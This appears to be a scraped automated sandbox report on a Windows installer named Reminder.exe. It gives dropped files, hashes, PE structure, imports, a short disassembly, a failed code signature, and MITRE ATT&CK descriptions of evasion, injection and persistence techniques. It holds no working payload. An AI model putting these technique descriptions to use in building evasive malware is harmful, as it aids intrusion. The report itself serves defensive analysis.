Preview:	.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.M....D....9..u2.+..^..R.a@.].F.e..EQi.,.......m..%......w4#.....f...\..z..})..4.m....vs.....f..b..O.?.I8..o..K.,.qn...D..............#.....J.#.....JkC.R......%x....}...q..U-...(....%....V..?p.h`...55.SZ_S.^q..x.....k>r0...O...9xe7y>.v.T...Ip... .oz.`7G......i...{Z/....Nk...m.N......c)Y.`.37...i=..T..-..f.....'......b~...bk..)....Vq.#..c9\|J.#....Jm.....T,....5...x...(nU.j....06.f".].X.:..)...=.H.}.......$......G.............#=._.z.8..7.O..g}.a.Df!..v-."Yj...=c.#..t.E....Yt].5M".......Q..w.^5.~.o.P....3.?A\U.......?..Cp.~....E.K...9....(...0.=}.{.t4+.o...X).H*.>. .)z.....)-^.....9.....M...#..8..x.....9.i..z.=#R.=i>0..X... M..J.......u.##....Ez....U...Z8..@u.Dj....Yu?.px........(.1.0.S..@......'E.........5.8..B.;..E..q.S...f,..Z?..O..\...#B;<qr6..pw.[D.].9.G%_...........e}! .mj..?....u..6....i]&1...e..-7(VQBo....Y..6..w.'..A..=f6w,+.?..F.tA(./...h.

C:\Users\user\AppData\Local\coigned\is-P4H94.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp
File Type:	data
Category:	dropped
Size (bytes):	737665
Entropy (8bit):	6.4607709946359995
Encrypted:	false
SSDEEP:
MD5:	356418D32F4117C84B577BE53DC1BBF2
SHA1:	D09CF166E6D90A9B5BFB74B8297833A5E69E00F6
SHA-256:	0D8586DA0418EAD69F96ECC3A19BF61AF9A6F8BCC42602E0D6F00F80C5E6CAA1
SHA-512:	1EE6F6315C8F0E9EB2E93BDCB14661F506279285148396D2A863073B796EE2A99B5F74C9A0329FE35B6B72C624F80FACCA630ED63BAEB77BA94EAE93B12E3A40
Malicious:	false
Reputation:	unknown
Preview:	B;k...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................B;k.....................................

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	478
Entropy (8bit):	4.9404427828211634
Encrypted:	false
SSDEEP:
MD5:	1D785D889CA617298A68D26DFEF974C4
SHA1:	1CC36474033E2767B059019B12782CE558F1EA34
SHA-256:	FE52FE8317F9F07F4AB830F6E3B1F1013BE4AA2A82DD5C86AA805648FC053230
SHA-512:	EF34C2479BE5BA45B41584887354DE53EA15EC53EA74D57042FF57EB8A609B93DAC9A55297300C29320CE14966FB7704C9952BDC7C6E2DDD0DCA929884091CF3
Malicious:	false
Reputation:	unknown
Preview:	..Pinging 127.0.0.1 with 32 bytes of data:..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128....Ping statistics for 127.0.0.1:.. Packets: Sent = 5, Received = 5, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.965829564509541
TrID:	Win32 Executable (generic) a (10002005/4) 98.19% Inno Setup installer (109748/4) 1.08% Win32 EXE PECompact compressed (generic) (41571/9) 0.41% Win32 EXE Yoda's Crypter (26571/9) 0.26% Win16/32 Executable Delphi generic (2074/23) 0.02%
File name:	Reminder.exe
File size:	10'161'880 bytes
MD5:	d743bb6502147d38addb430590bc7a98
SHA1:	16cd70dd31fc54c0e42695441dbf3eab5de2e2bd
SHA256:	ebe565a1a2b13e3cbcf7bcc58ea8bee81bd1ed2fed0e5977dc9e108ee8cbae95
SHA512:	b6b61e445e59f3431414a8c664ed5686d79cb01fd50e7442c869f6c94f4f4183f980de2827f1ddf70817a4dd08661281e1d050ace81c5c5b50b7dbf7a073a735
SSDEEP:	196608:F/UI+mNZKDKmDX7HPY58yZqLcbUm4CzknrnbELh19M8pjx6gO0EMTe:F8HV7YqyZqLwqqk3E39npjZO0Eme
TLSH:	72A62322B3C7E43EE06D0B3706B3B65859FBAB51A922BE5396E484ACCF150501D3E357
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	6c6aeee6c14cdc4c

Static PE Info

General

Entrypoint:	0x4a83bc
Entrypoint Section:	.itext
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6690DABD [Fri Jul 12 07:26:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	1
File Version Major:	6
File Version Minor:	1
Subsystem Version Major:	6
Subsystem Version Minor:	1
Import Hash:	40ab50289f7ef5fae60801f88d4541fc

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=SSL.com EV Code Signing Intermediate CA RSA R3, O=SSL Corp, L=Houston, S=Texas, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	24/06/2022 09:22:08 14/04/2025 16:06:58
Subject Chain	OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.1.3.6.1.4.1.311.60.2.1.2=Washington, OID.2.5.4.15=Private Organization, CN=TechPowerUp LLC, SERIALNUMBER=604 057 982, O=TechPowerUp LLC, L=Spokane, S=Washington, C=US
Version:	3
Thumbprint MD5:	648FDCF28A095B6DA4C31C9D5CD35A64
Thumbprint SHA-1:	8DAAE716F69B30A0DDC8C8A3F8EAC6C5B328CFD2
Thumbprint SHA-256:	20740B0C498F45830DD1D84EC746DEA5E43C2B0D32C603F2C2403A333CE9E8E7
Serial:	115BBE9E1C286827AF66E7A01390C206

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004A2EBCh
call 00007FC2E44B1CF5h
xor eax, eax
push ebp
push 004A8AC1h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 004A8A7Bh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [004B0634h]
call 00007FC2E454367Bh
call 00007FC2E45431CEh
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007FC2E453DEA8h
mov edx, dword ptr [ebp-14h]
mov eax, 004B41F4h
call 00007FC2E44ABDA3h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [004B41F4h]
mov dl, 01h
mov eax, dword ptr [0049CD14h]
call 00007FC2E453F1D3h
mov dword ptr [004B41F8h], eax
xor edx, edx
push ebp
push 004A8A27h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007FC2E4543703h
mov dword ptr [004B4200h], eax
mov eax, dword ptr [004B4200h]
cmp dword ptr [eax+0Ch], 01h
jne 00007FC2E454A3EAh
mov eax, dword ptr [004B4200h]
mov edx, 00000028h
call 00007FC2E453FAC8h
mov edx, dword ptr [004B4200h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xb7000	0x71	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xb5000	0xfec	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcb000	0xe610	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x9aea00	0x24d8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xba000	0x10fa8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xb9000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xb52d4	0x25c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0xb6000	0x1a4	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xa568c	0xa5800	b889d302f6fc48a904de33d8d947ae80	False	0.3620185045317221	data	6.377190161826806	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0xa7000	0x1b64	0x1c00	588dd0a8ab499300d3701cbd11b017d9	False	0.548828125	data	6.109264411030635	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0xa9000	0x3838	0x3a00	5c0c76e77aef52ebc6702430837ccb6e	False	0.35338092672413796	data	4.95916338709992	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xad000	0x7258	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xb5000	0xfec	0x1000	627340dff539ef99048969aa4824fb2d	False	0.380615234375	data	5.020404933181373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0xb6000	0x1a4	0x200	fd11c1109737963cc6cb7258063abfd6	False	0.34765625	data	2.729290535217263	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0xb7000	0x71	0x200	7de8ca0c7a61668a728fd3a88dc0942d	False	0.1796875	data	1.305578535725827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0xb8000	0x18	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xb9000	0x5d	0x200	d84006640084dc9f74a07c2ff9c7d656	False	0.189453125	data	1.3892750148744617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xba000	0x10fa8	0x11000	a85fda2741bd9417695daa5fc5a9d7a5	False	0.5789579503676471	data	6.709466460182023	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xcb000	0xe610	0xe800	5f36adece46ffbc3b5e8abb618d8b9be	False	0.6631869612068966	data	6.853948165376388	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xcb4c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.599290780141844
RT_ICON	0xcb930	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.38410746812386154
RT_ICON	0xcca58	0x2668	Device independent bitmap graphic, 48 x 96 x 32, image size 9792	English	United States	0.29302278275020344
RT_ICON	0xcf0c0	0x7407	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9937716728949938
RT_STRING	0xd64c8	0x3f8	data			0.3198818897637795
RT_STRING	0xd68c0	0x2dc	data			0.36475409836065575
RT_STRING	0xd6b9c	0x430	data			0.40578358208955223
RT_STRING	0xd6fcc	0x44c	data			0.38636363636363635
RT_STRING	0xd7418	0x2d4	data			0.39226519337016574
RT_STRING	0xd76ec	0xb8	data			0.6467391304347826
RT_STRING	0xd77a4	0x9c	data			0.6410256410256411
RT_STRING	0xd7840	0x374	data			0.4230769230769231
RT_STRING	0xd7bb4	0x398	data			0.3358695652173913
RT_STRING	0xd7f4c	0x368	data			0.3795871559633027
RT_STRING	0xd82b4	0x2a4	data			0.4275147928994083
RT_RCDATA	0xd8558	0x10	data			1.5
RT_RCDATA	0xd8568	0x310	data			0.6173469387755102
RT_RCDATA	0xd8878	0x2c	data			1.2045454545454546
RT_GROUP_ICON	0xd88a4	0x3e	data	English	United States	0.8709677419354839
RT_VERSION	0xd88e4	0x584	data	English	United States	0.28895184135977336
RT_MANIFEST	0xd8e68	0x7a8	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3377551020408163

Imports

DLL	Import
kernel32.dll	GetACP, GetExitCodeProcess, CloseHandle, LocalFree, SizeofResource, VirtualProtect, QueryPerformanceFrequency, VirtualFree, GetFullPathNameW, GetProcessHeap, ExitProcess, HeapAlloc, GetCPInfoExW, RtlUnwind, GetCPInfo, GetStdHandle, GetModuleHandleW, FreeLibrary, HeapDestroy, ReadFile, CreateProcessW, GetLastError, GetModuleFileNameW, SetLastError, FindResourceW, CreateThread, CompareStringW, LoadLibraryA, ResetEvent, GetVolumeInformationW, GetVersion, GetDriveTypeW, RaiseException, FormatMessageW, SwitchToThread, GetExitCodeThread, GetCurrentThread, LoadLibraryExW, LockResource, GetCurrentThreadId, UnhandledExceptionFilter, VirtualQuery, VirtualQueryEx, Sleep, EnterCriticalSection, SetFilePointer, LoadResource, SuspendThread, GetTickCount, GetFileSize, GetStartupInfoW, GetFileAttributesW, InitializeCriticalSection, GetSystemWindowsDirectoryW, GetThreadPriority, SetThreadPriority, GetCurrentProcess, VirtualAlloc, GetCommandLineW, GetSystemInfo, LeaveCriticalSection, GetProcAddress, ResumeThread, GetVersionExW, VerifyVersionInfoW, HeapCreate, GetWindowsDirectoryW, LCMapStringW, VerSetConditionMask, GetDiskFreeSpaceW, FindFirstFileW, GetUserDefaultUILanguage, lstrlenW, QueryPerformanceCounter, SetEndOfFile, HeapFree, WideCharToMultiByte, FindClose, MultiByteToWideChar, LoadLibraryW, SetEvent, CreateFileW, GetLocaleInfoW, GetSystemDirectoryW, DeleteFileW, GetLocalTime, GetEnvironmentVariableW, WaitForSingleObject, WriteFile, ExitThread, DeleteCriticalSection, TlsGetValue, GetDateFormatW, SetErrorMode, IsValidLocale, TlsSetValue, CreateDirectoryW, GetSystemDefaultUILanguage, EnumCalendarInfoW, LocalAlloc, GetUserDefaultLangID, RemoveDirectoryW, CreateEventW, SetThreadLocale, GetThreadLocale
comctl32.dll	InitCommonControls
user32.dll	CreateWindowExW, TranslateMessage, CharLowerBuffW, CallWindowProcW, CharUpperW, PeekMessageW, GetSystemMetrics, SetWindowLongW, MessageBoxW, DestroyWindow, CharUpperBuffW, CharNextW, MsgWaitForMultipleObjects, LoadStringW, ExitWindowsEx, DispatchMessageW
oleaut32.dll	SysAllocStringLen, SafeArrayPtrOfIndex, VariantCopy, SafeArrayGetLBound, SafeArrayGetUBound, VariantInit, VariantClear, SysFreeString, SysReAllocStringLen, VariantChangeType, SafeArrayCreate
advapi32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW, OpenThreadToken, AdjustTokenPrivileges, LookupPrivilegeValueW, RegOpenKeyExW, OpenProcessToken, FreeSid, AllocateAndInitializeSid, EqualSid, RegQueryValueExW, GetTokenInformation, ConvertSidToStringSidW, RegCloseKey

Exports

Name	Ordinal	Address
__dbk_fcall_wrapper	2	0x40fc10
dbkFCallWrapperAddr	1	0x4b063c

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Reminder.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_isdecmp.dll

C:\Users\user\AppData\Local\Temp\is-8CPJ0.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-KHK92.tmp\Reminder.tmp

C:\Users\user\AppData\Local\coigned\Updater.exe (copy)

C:\Users\user\AppData\Local\coigned\friendliwise.csv (copy)

C:\Users\user\AppData\Local\coigned\friendliwise.mid (copy)

C:\Users\user\AppData\Local\coigned\is-9F4FN.tmp

C:\Users\user\AppData\Local\coigned\is-F09AJ.tmp

C:\Users\user\AppData\Local\coigned\is-P4H94.tmp

\Device\Null

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Windows Analysis Report
Reminder.exe